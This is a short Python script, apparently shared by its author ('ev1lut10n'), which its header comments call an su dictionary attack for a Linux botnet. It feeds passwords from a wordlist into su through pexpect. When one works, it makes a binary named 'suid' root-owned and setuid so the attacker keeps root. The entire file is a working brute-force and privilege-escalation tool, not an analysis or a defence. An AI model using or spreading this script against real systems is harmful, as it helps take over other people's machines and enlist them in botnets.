#!/usr/bin/python #su dictionary attack for linux botnet #made by ev1lut10n #a Chinese lives in Indonesia import pexpect import sys import time import os user="root" fd = open("password.txt") content = fd.readline() salah="ya" while (content != "" and salah=="ya"): content.replace( "\n", "" ) content = fd.readline() print "trying su using password:"+content foo = pexpect.spawn('su') foo.expect('.*') foo.sendline(content) try: a=foo.expect(['#', 'Terminal type', '[#\$] ']) if a == 0: print "Got weak root password : "+content+"\n" salah="tidak" content=content.strip() foo = pexpect.spawn('su') foo.expect('.*') foo.sendline(content) foo.expect('.*') foo.sendline('chown root:root suid;chmod u+s suid') sys.exit(0) else: print "salah neh\n" foo.kill(0) except: if salah=="ya": print "wrong password for su baby, sorry!\n" foo.kill(0)